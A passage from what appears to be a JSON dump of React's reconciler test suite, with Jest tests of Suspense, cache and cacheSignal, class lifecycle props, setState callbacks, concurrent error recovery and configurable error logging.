          <Suspense defer fallback={<Text text=\"Loading...\" />}>\n              <AsyncText text=\"Inner\" />\n            </Suspense>\n          </div>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<App />);\n      await waitForPaint(['Outer', 'Loading...']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          Outer\n          <div>Loading...</div>\n        </>,\n      );\n    });\n    // Inner contents suspended, so we continue showing a fallback.\n    assertLog([\n      'Suspend! [Inner]',\n      // pre-warming\n      'Suspend! [Inner]',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        Outer\n        <div>Loading...</div>\n      </>,\n    );\n\n    // Resolve the data and finish rendering\n    await act(async () => {\n      await resolveText('Inner');\n    });\n    assertLog(['Inner']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        Outer\n        <div>Inner</div>\n      </>,\n    );\n  });\n\n  // @gate enableCPUSuspense\n  it('nested CPU-bound trees', async () => {\n    function App() {\n      return (\n        <>\n          <Text text=\"A\" />\n          <div>\n            <Suspense defer fallback={<Text text=\"Loading B...\" />}>\n              <Text text=\"B\" />\n              <div>\n                <Suspense defer fallback={<Text text=\"Loading C...\" />}>\n                  <Text text=\"C\" />\n                </Suspense>\n              </div>\n            </Suspense>\n          </div>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    // Each level commits separately\n    assertLog(['A', 'Loading B...', 'B', 'Loading C...', 'C']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        A\n        <div>\n          B<div>C</div>\n        </div>\n      </>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactCache-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoopFlightServer;\nlet ReactNoopFlightClient;\nlet cache;\nlet cacheSignal;\n\ndescribe('ReactCache', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    React = require('react');\n\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n    ReactNoopFlightClient = require('react-noop-renderer/flight-client');\n\n    cache = React.cache;\n    cacheSignal = React.cacheSignal;\n\n    jest.resetModules();\n    __unmockReact();\n  });\n\n  it('cache objects and primitive arguments and a mix of them', async () => {\n    const types = cache((a, b) => ({a: typeof a, b: typeof b}));\n    function Print({a, b}) {\n      return types(a, b).a + ' ' + types(a, b).b + ' ';\n    }\n    function Same({a, b}) {\n      const x = types(a, b);\n      const y = types(a, b);\n      return (x === y).toString() + ' ';\n    }\n    function FlippedOrder({a, b}) {\n      return (types(a, b) === types(b, a)).toString() + ' ';\n    }\n    function FewerArgs({a, b}) {\n      return (types(a, b) === types(a)).toString() + ' ';\n    }\n    function MoreArgs({a, b}) {\n      return (types(a) === types(a, b)).toString() + ' ';\n    }\n\n    expect(\n      (\n        await ReactNoopFlightClient.read(\n          ReactNoopFlightServer.render(\n            <>\n              <Print a=\"e\" b=\"f\" />\n              <Same a=\"a\" b=\"b\" />\n              <FlippedOrder a=\"c\" b=\"d\" />\n              <FewerArgs a=\"e\" b=\"f\" />\n              <MoreArgs a=\"g\" b=\"h\" />\n            </>,\n          ),\n        )\n      ).join(''),\n    ).toEqual('string string true false false false ');\n\n    expect(\n      (\n        await ReactNoopFlightClient.read(\n          ReactNoopFlightServer.render(\n            <>\n              <Print a=\"e\" b={null} />\n              <Same a=\"a\" b={null} />\n              <FlippedOrder a=\"c\" b={null} />\n              <FewerArgs a=\"e\" b={null} />\n              <MoreArgs a=\"g\" b={null} />\n            </>,\n          ),\n        )\n      ).join(''),\n    ).toEqual('string object true false false false ');\n\n    const obj = {};\n    expect(\n      (\n        await ReactNoopFlightClient.read(\n          ReactNoopFlightServer.render(\n            <>\n              <Print a=\"e\" b={obj} />\n              <Same a=\"a\" b={obj} />\n              <FlippedOrder a=\"c\" b={obj} />\n              <FewerArgs a=\"e\" b={obj} />\n              <MoreArgs a=\"g\" b={obj} />\n            </>,\n          ),\n        )\n      ).join(''),\n    ).toEqual('string object true false false false ');\n\n    const sameObj = {};\n    expect(\n      (\n        await ReactNoopFlightClient.read(\n          ReactNoopFlightServer.render(\n            <>\n              <Print a={sameObj} b={sameObj} />\n              <Same a={sameObj} b={sameObj} />\n              <FlippedOrder a={sameObj} b={sameObj} />\n              <FewerArgs a={sameObj} b={sameObj} />\n              <MoreArgs a={sameObj} b={sameObj} />\n            </>,\n          ),\n        )\n      ).join(''),\n    ).toEqual('object object true true false false ');\n\n    const objA = {};\n    const objB = {};\n    expect(\n      (\n        await ReactNoopFlightClient.read(\n          ReactNoopFlightServer.render(\n            <>\n              <Print a={objA} b={objB} />\n              <Same a={objA} b={objB} />\n              <FlippedOrder a={objA} b={objB} />\n              <FewerArgs a={objA} b={objB} />\n              <MoreArgs a={objA} b={objB} />\n            </>,\n          ),\n        )\n      ).join(''),\n    ).toEqual('object object true false false false ');\n\n    const sameSymbol = Symbol();\n    expect(\n      (\n        await ReactNoopFlightClient.read(\n          ReactNoopFlightServer.render(\n            <>\n              <Print a={sameSymbol} b={sameSymbol} />\n              <Same a={sameSymbol} b={sameSymbol} />\n              <FlippedOrder a={sameSymbol} b={sameSymbol} />\n              <FewerArgs a={sameSymbol} b={sameSymbol} />\n              <MoreArgs a={sameSymbol} b={sameSymbol} />\n            </>,\n          ),\n        )\n      ).join(''),\n    ).toEqual('symbol symbol true true false false ');\n\n    const notANumber = +'nan';\n    expect(\n      (\n        await ReactNoopFlightClient.read(\n          ReactNoopFlightServer.render(\n            <>\n              <Print a={1} b={notANumber} />\n              <Same a={1} b={notANumber} />\n              <FlippedOrder a={1} b={notANumber} />\n              <FewerArgs a={1} b={notANumber} />\n              <MoreArgs a={1} b={notANumber} />\n            </>,\n          ),\n        )\n      ).join(''),\n    ).toEqual('number number true false false false ');\n  });\n\n  it('cached functions that throw should cache the error', async () => {\n    const throws = cache(v => {\n      throw new Error(v);\n    });\n    let x;\n    let y;\n    let z;\n    function Test() {\n      try {\n        throws(1);\n      } catch (e) {\n        x = e;\n      }\n      try {\n        throws(1);\n      } catch (e) {\n        y = e;\n      }\n      try {\n        throws(2);\n      } catch (e) {\n        z = e;\n      }\n\n      return 'Blank';\n    }\n\n    ReactNoopFlightServer.render(<Test />);\n    expect(x).toBe(y);\n    expect(z).not.toBe(x);\n  });\n\n  it('introspection of returned wrapper function is same on client and server', async () => {\n    // When the variant flag is true, test the client version of `cache`.\n    if (gate(flags => flags.variant)) {\n      jest.resetModules();\n      jest.mock('react', () => jest.requireActual('react'));\n      const ClientReact = require('react');\n      cache = ClientReact.cache;\n    }\n\n    function foo(a, b, c) {\n      return a + b + c;\n    }\n    foo.displayName = 'Custom display name';\n\n    const cachedFoo = cache(foo);\n    expect(cachedFoo).not.toBe(foo);\n    expect(cachedFoo.length).toBe(0);\n    expect(cachedFoo.displayName).toBe(undefined);\n  });\n\n  it('cacheSignal() returns null outside a render', async () => {\n    expect(cacheSignal()).toBe(null);\n  });\n\n  it('cacheSignal() aborts when the render finishes normally', async () => {\n    let renderedCacheSignal = null;\n\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n\n    async function Test() {\n      renderedCacheSignal = cacheSignal();\n      await promise;\n      return 'Hi';\n    }\n\n    const controller = new AbortController();\n    const errors = [];\n    const result = ReactNoopFlightServer.render(<Test />, {\n      signal: controller.signal,\n      onError(x) {\n        errors.push(x);\n      },\n    });\n    expect(errors).toEqual([]);\n    expect(renderedCacheSignal).not.toBe(controller.signal); // In the future we might make these the same\n    expect(renderedCacheSignal.aborted).toBe(false);\n    await resolve();\n    await 0;\n    await 0;\n\n    expect(await ReactNoopFlightClient.read(result)).toBe('Hi');\n\n    expect(errors).toEqual([]);\n    expect(renderedCacheSignal.aborted).toBe(true);\n    expect(renderedCacheSignal.reason.message).toContain(\n      'This render completed successfully.',\n    );\n  });\n\n  it('cacheSignal() aborts when the render is aborted', async () => {\n    let renderedCacheSignal = null;\n\n    const promise = new Promise(() => {});\n\n    async function Test() {\n      renderedCacheSignal = cacheSignal();\n      await promise;\n      return 'Hi';\n    }\n\n    const controller = new AbortController();\n    const errors = [];\n    const result = ReactNoopFlightServer.render(<Test />, {\n      signal: controller.signal,\n      onError(x) {\n        errors.push(x);\n        return 'hi';\n      },\n    });\n    expect(errors).toEqual([]);\n    expect(renderedCacheSignal).not.toBe(controller.signal); // In the future we might make these the same\n    expect(renderedCacheSignal.aborted).toBe(false);\n    const reason = new Error('Timed out');\n    controller.abort(reason);\n    expect(errors).toEqual([reason]);\n    expect(renderedCacheSignal.aborted).toBe(true);\n    expect(renderedCacheSignal.reason).toBe(reason);\n\n    let clientError = null;\n    try {\n      await ReactNoopFlightClient.read(result);\n    } catch (x) {\n      clientError = x;\n    }\n    expect(clientError).not.toBe(null);\n    if (__DEV__) {\n      expect(clientError.message).toBe('Timed out');\n    }\n    expect(clientError.digest).toBe('hi');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactClassComponentPropResolution-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet assertLog;\n\ndescribe('ReactClassComponentPropResolution', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('resolves ref and default props before calling lifecycle methods', async () => {\n    const root = ReactNoop.createRoot();\n\n    function getPropKeys(props) {\n      return Object.keys(props).join(', ');\n    }\n\n    class Component extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('constructor: ' + getPropKeys(props));\n      }\n      shouldComponentUpdate(props) {\n        Scheduler.log(\n          'shouldComponentUpdate (prev props): ' + getPropKeys(this.props),\n        );\n        Scheduler.log(\n          'shouldComponentUpdate (next props): ' + getPropKeys(props),\n        );\n        return true;\n      }\n      componentDidUpdate(props) {\n        Scheduler.log('componentDidUpdate (prev props): ' + getPropKeys(props));\n        Scheduler.log(\n          'componentDidUpdate (next props): ' + getPropKeys(this.props),\n        );\n        return true;\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount: ' + getPropKeys(this.props));\n        return true;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('componentWillMount: ' + getPropKeys(this.props));\n      }\n      UNSAFE_componentWillReceiveProps(nextProps) {\n        Scheduler.log(\n          'componentWillReceiveProps (prev props): ' + getPropKeys(this.props),\n        );\n        Scheduler.log(\n          'componentWillReceiveProps (next props): ' + getPropKeys(nextProps),\n        );\n      }\n      UNSAFE_componentWillUpdate(nextProps) {\n        Scheduler.log(\n          'componentWillUpdate (prev props): ' + getPropKeys(this.props),\n        );\n        Scheduler.log(\n          'componentWillUpdate (next props): ' + getPropKeys(nextProps),\n        );\n      }\n      componentWillUnmount() {\n        Scheduler.log('componentWillUnmount: ' + getPropKeys(this.props));\n      }\n      render() {\n        return <Text text={'render: ' + getPropKeys(this.props)} />;\n      }\n    }\n\n    Component.defaultProps = {\n      default: 'yo',\n    };\n\n    // `ref` should never appear as a prop. `default` always should.\n\n    // Mount\n    const ref = React.createRef();\n    await act(async () => {\n      root.render(<Component text=\"Yay\" ref={ref} />);\n    });\n    assertLog([\n      'constructor: text, default',\n      'componentWillMount: text, default',\n      'render: text, default',\n      'componentDidMount: text, default',\n    ]);\n\n    // Update\n    await act(async () => {\n      root.render(<Component text=\"Yay (again)\" ref={ref} />);\n    });\n    assertLog([\n      'componentWillReceiveProps (prev props): text, default',\n      'componentWillReceiveProps (next props): text, default',\n      'shouldComponentUpdate (prev props): text, default',\n      'shouldComponentUpdate (next props): text, default',\n      'componentWillUpdate (prev props): text, default',\n      'componentWillUpdate (next props): text, default',\n      'render: text, default',\n      'componentDidUpdate (prev props): text, default',\n      'componentDidUpdate (next props): text, default',\n    ]);\n\n    // Unmount\n    await act(async () => {\n      root.render(null);\n    });\n    assertLog(['componentWillUnmount: text, default']);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactClassSetStateCallback-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet assertLog;\n\ndescribe('ReactClassSetStateCallback', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('regression: setState callback (2nd arg) should only fire once, even after a rebase', async () => {\n    let app;\n    class App extends React.Component {\n      state = {step: 0};\n      render() {\n        app = this;\n        return <Text text={this.state.step} />;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([0]);\n\n    await act(() => {\n      React.startTransition(() => {\n        app.setState({step: 1}, () => Scheduler.log('Callback 1'));\n      });\n      ReactNoop.flushSync(() => {\n        app.setState({step: 2}, () => Scheduler.log('Callback 2'));\n      });\n    });\n    assertLog([2, 'Callback 2', 2, 'Callback 1']);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactConcurrentErrorRecovery-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Suspense;\nlet getCacheForType;\nlet startTransition;\nlet assertLog;\n\nlet caches;\nlet seededCache;\n\ndescribe('ReactConcurrentErrorRecovery', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    Suspense = React.Suspense;\n    startTransition = React.startTransition;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n\n    getCacheForType = React.unstable_getCacheForType;\n\n    caches = [];\n    seededCache = null;\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      // Trick to seed a cache before it exists.\n      // TODO: Need a built-in API to seed data before the initial render (i.e.\n      // not a refresh because nothing has mounted yet).\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error! [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text, showVersion}) {\n    const version = readText(text);\n    const fullText = showVersion ? `${text} [v${version}]` : text;\n    Scheduler.log(fullText);\n    return fullText;\n  }\n\n  function seedNextTextCache(text) {\n    if (seededCache === null) {\n      seededCache = createTextCache();\n    }\n    seededCache.resolve(text);\n  }\n\n  function resolveMostRecentTextCache(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  const resolveText = resolveMostRecentTextCache;\n\n  function rejectMostRecentTextCache(text, error) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].reject(text, error)`.\n      caches[caches.length - 1].reject(text, error);\n    }\n  }\n\n  const rejectText = rejectMostRecentTextCache;\n\n  // @gate enableLegacyCache\n  it('errors during a refresh transition should not force fallbacks to display (suspend then error)', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App({step}) {\n      return (\n        <>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <ErrorBoundary>\n              <AsyncText text={'A' + step} />\n            </ErrorBoundary>\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <ErrorBoundary>\n              <AsyncText text={'B' + step} />\n            </ErrorBoundary>\n          </Suspense>\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    seedNextTextCache('A1');\n    seedNextTextCache('B1');\n    await act(() => {\n      root.render(<App step={1} />);\n    });\n    assertLog(['A1', 'B1']);\n    expect(root).toMatchRenderedOutput('A1B1');\n\n    // Start a refresh transition\n    await act(() => {\n      startTransition(() => {\n        root.render(<App step={2} />);\n      });\n    });\n    assertLog(['Suspend! [A2]', 'Loading...', 'Suspend! [B2]', 'Loading...']);\n    // Because this is a refresh, we don't switch to a fallback\n    expect(root).toMatchRenderedOutput('A1B1');\n\n    // B fails to load.\n    await act(() => {\n      rejectText('B2', new Error('Oops!'));\n    });\n\n    // Because we're still suspended on A, we can't show an error boundary. We\n    // should wait for A to resolve.\n    assertLog(['Suspend! [A2]', 'Loading...', 'Error! [B2]', 'Oops!']);\n    // Remain on previous screen.\n    expect(root).toMatchRenderedOutput('A1B1');\n\n    // A finishes loading.\n    await act(() => {\n      resolveText('A2');\n    });\n    assertLog(['A2', 'Error! [B2]', 'Oops!', 'A2', 'Error! [B2]', 'Oops!']);\n    // Now we can show the error boundary that's wrapped around B.\n    expect(root).toMatchRenderedOutput('A2Oops!');\n  });\n\n  // @gate enableLegacyCache\n  it('errors during a refresh transition should not force fallbacks to display (error then suspend)', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App({step}) {\n      return (\n        <>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <ErrorBoundary>\n              <AsyncText text={'A' + step} />\n            </ErrorBoundary>\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <ErrorBoundary>\n              <AsyncText text={'B' + step} />\n            </ErrorBoundary>\n          </Suspense>\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    seedNextTextCache('A1');\n    seedNextTextCache('B1');\n    await act(() => {\n      root.render(<App step={1} />);\n    });\n    assertLog(['A1', 'B1']);\n    expect(root).toMatchRenderedOutput('A1B1');\n\n    // Start a refresh transition\n    await act(() => {\n      startTransition(() => {\n        root.render(<App step={2} />);\n      });\n    });\n    assertLog(['Suspend! [A2]', 'Loading...', 'Suspend! [B2]', 'Loading...']);\n    // Because this is a refresh, we don't switch to a fallback\n    expect(root).toMatchRenderedOutput('A1B1');\n\n    // A fails to load.\n    await act(() => {\n      rejectText('A2', new Error('Oops!'));\n    });\n\n    // Because we're still suspended on B, we can't show an error boundary. We\n    // should wait for B to resolve.\n    assertLog(['Error! [A2]', 'Oops!', 'Suspend! [B2]', 'Loading...']);\n    // Remain on previous screen.\n    expect(root).toMatchRenderedOutput('A1B1');\n\n    // B finishes loading.\n    await act(() => {\n      resolveText('B2');\n    });\n    assertLog(['Error! [A2]', 'Oops!', 'B2', 'Error! [A2]', 'Oops!', 'B2']);\n    // Now we can show the error boundary that's wrapped around B.\n    expect(root).toMatchRenderedOutput('Oops!B2');\n  });\n\n  // @gate enableLegacyCache\n  it('suspending in the shell (outside a Suspense boundary) should not throw, warn, or log during a transition', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    // The initial render suspends without a Suspense boundary. Since it's\n    // wrapped in startTransition, it suspends instead of erroring.\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<AsyncText text=\"Async\" />);\n      });\n    });\n    assertLog(['Suspend! [Async]']);\n    expect(root).toMatchRenderedOutput(null);\n\n    // This also works if the suspended component is wrapped with an error\n    // boundary. (This is only interesting because when a component suspends\n    // outside of a transition, we throw an error, which can be captured by\n    // an error boundary.\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <ErrorBoundary>\n            <AsyncText text=\"Async\" />\n          </ErrorBoundary>,\n        );\n      });\n    });\n    assertLog(['Suspend! [Async]']);\n    expect(root).toMatchRenderedOutput(null);\n\n    // Continues rendering once data resolves\n    await act(() => {\n      resolveText('Async');\n    });\n    assertLog(['Async']);\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  // @gate enableLegacyCache\n  it(\n    'errors during a suspended transition at the shell should not force ' +\n      'fallbacks to display (error then suspend)',\n    async () => {\n      // This is similar to the earlier test for errors that occur during\n      // a refresh transition. Suspending in the shell is conceptually the same\n      // as a refresh, but they have slightly different implementation paths.\n\n      class ErrorBoundary extends React.Component {\n        state = {error: null};\n        static getDerivedStateFromError(error) {\n          return {error};\n        }\n        render() {\n          if (this.state.error !== null) {\n            return (\n              <Text text={'Caught an error: ' + this.state.error.message} />\n            );\n          }\n          return this.props.children;\n        }\n      }\n\n      function Throws() {\n        throw new Error('Oops!');\n      }\n\n      // Suspend and throw in the same transition\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        startTransition(() => {\n          root.render(\n            <>\n              <AsyncText text=\"Async\" />\n              <ErrorBoundary>\n                <Throws />\n              </ErrorBoundary>\n            </>,\n          );\n        });\n      });\n      assertLog([\n        'Suspend! [Async]',\n        // pre-warming\n        'Caught an error: Oops!',\n      ]);\n      // The render suspended without committing the error.\n      expect(root).toMatchRenderedOutput(null);\n\n      // Try the reverse order, too: throw then suspend\n      await act(() => {\n        startTransition(() => {\n          root.render(\n            <>\n              <AsyncText text=\"Async\" />\n              <ErrorBoundary>\n                <Throws />\n              </ErrorBoundary>\n            </>,\n          );\n        });\n      });\n      assertLog(['Suspend! [Async]', 'Caught an error: Oops!']);\n      expect(root).toMatchRenderedOutput(null);\n\n      await act(async () => {\n        await resolveText('Async');\n      });\n\n      assertLog([\n        'Async',\n        'Caught an error: Oops!',\n\n        // Try recovering from the error by rendering again synchronously\n        'Async',\n        'Caught an error: Oops!',\n      ]);\n\n      expect(root).toMatchRenderedOutput('AsyncCaught an error: Oops!');\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactConfigurableErrorLogging-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet Scheduler;\nlet container;\nlet act;\n\nasync function fakeAct(cb) {\n  // We don't use act/waitForThrow here because we want to observe how errors are reported for real.\n  await cb();\n  Scheduler.unstable_flushAll();\n}\n\ndescribe('ReactConfigurableErrorLogging', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    container = document.createElement('div');\n    if (__DEV__) {\n      act = React.act;\n    }\n  });\n\n  it('should log errors that occur during the begin phase', async () => {\n    class ErrorThrowingComponent extends React.Component {\n      constructor(props) {\n        super(props);\n        throw new Error('constructor error');\n      }\n      render() {\n        return <div />;\n      }\n    }\n    const uncaughtErrors = [];\n    const caughtErrors = [];\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError(error, errorInfo) {\n        uncaughtErrors.push(error, errorInfo);\n      },\n      onCaughtError(error, errorInfo) {\n        caughtErrors.push(error, errorInfo);\n      },\n    });\n    await fakeAct(() => {\n      root.render(\n        <div>\n          <span>\n            <ErrorThrowingComponent />\n          </span>\n        </div>,\n      );\n    });\n\n    expect(uncaughtErrors).toEqual([\n      expect.objectContaining({\n        message: 'constructor error',\n      }),\n      expect.objectContaining({\n        componentStack: expect.stringMatching(\n          new RegExp(\n            '\\\\s+(in|at) ErrorThrowingComponent (.*)\\n' +\n              '\\\\s+(in|at) span(.*)\\n' +\n              '\\\\s+(in|at) div(.*)',\n          ),\n        ),\n      }),\n    ]);\n    expect(caughtErrors).toEqual([]);\n  });\n\n  it('should log errors that occur during the commit phase', async () => {\n    class ErrorThrowingComponent extends React.Component {\n      componentDidMount() {\n        throw new Error('componentDidMount error');\n      }\n      render() {\n        return <div />;\n      }\n    }\n    const uncaughtErrors = [];\n    const caughtErrors = [];\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError(error, errorInfo) {\n        uncaughtErrors.push(error, errorInfo);\n      },\n      onCaughtError(error, errorInfo) {\n        caughtErrors.push(error, errorInfo);\n      },\n    });\n    await fakeAct(() => {\n      root.render(\n        <div>\n          <span>\n            <ErrorThrowingComponent />\n          </span>\n        </div>,\n      );\n    });\n\n    expect(uncaughtErrors).toEqual([\n      expect.objectContaining({\n        message: 'componentDidMount error',\n      }),\n      expect.objectContaining({\n        componentStack: expect.stringMatching(\n          new RegExp(\n            '\\\\s+(in|at) ErrorThrowingComponent (.*)\\n' +\n              '\\\\s+(in|at) span(.*)\\n' +\n              '\\\\s+(in|at) div(.*)',\n          ),\n        ),\n      }),\n    ]);\n    expect(caughtErrors).toEqual([]);\n  });\n\n  it('should ignore errors thrown in log method to prevent cycle', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        return this.state.error ? null : this.props.children;\n      }\n    }\n    class ErrorThrowingComponent extends React.Component {\n      render() {\n        throw new Error('render error');\n      }\n    }\n\n    const uncaughtErrors = [];\n    const caughtErrors = [];\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError(error, errorInfo) {\n        uncaughtErrors.push(error, errorInfo);\n      },\n      onCaughtError(error, errorInfo) {\n        caughtErrors.push(error, errorInfo);\n        throw new Error('onCaughtError error');\n      },\n    });\n\n    const ref = React.createRef();\n\n    await fakeAct(() => {\n      root.render(\n        <div>\n          <ErrorBoundary ref={ref}>\n            <span>\n              <ErrorThrowingComponent />\n            </span>\n          </ErrorBoundary>\n        </div>,\n      );\n    });\n\n    expect(uncaughtErrors).toEqual([]);\n    expect(caughtErrors).toEqual([\n      expect.objectContaining({\n        message: 'render error',\n      }),\n      expect.objectContaining({\n        componentStack: expect.stringMatching(\n          new RegExp(\n            '\\\\s+(in|at) ErrorThrowingComponent (.*)\\n' +\n              '\\\\s+(in|at) span(.*)\\n' +\n              '\\\\s+(in|at) ErrorBoundary(.*)\\n' +\n              '\\\\s+(in|at) div(.*)',\n          ),\n        ),\n        errorBoundary: ref.current,\n      }),\n    ]);\n\n    // The error thrown in caughtError should be rethrown with a clean stack\n    expect(() => {\n      jest.runAllTimers();\n    }).toThrow('onCaughtError error');\n  });\n\n  it('does not log errors when inside real act', async () => {\n    function ErrorThrowingComponent() {\n      throw new Error('render error');\n    }\n    const uncaughtErrors = [];\n    const caughtErrors = [];\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError(error, errorInfo) {\n        uncaughtErrors.push(error, errorInfo);\n      },\n      onCaughtError(error, errorInfo) {\n        caughtErrors.push(error, errorInfo);\n      },\n    });\n\n    if (__DEV__) {\n      global.IS_REACT_ACT_ENVIRONMENT = true;\n\n      await expect(async () => {\n        await act(() => {\n          root.render(\n            <div>\n              <span>\n                <ErrorThrowingComponent />\n              </span>\n            </div>,\n          );\n        });\n      }).rejects.toThrow('render error');\n    }\n\n    expect(uncaughtErrors).toEqual([]);\n    expect(caughtErrors).toEqual([]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactContextPropagation-test.js",
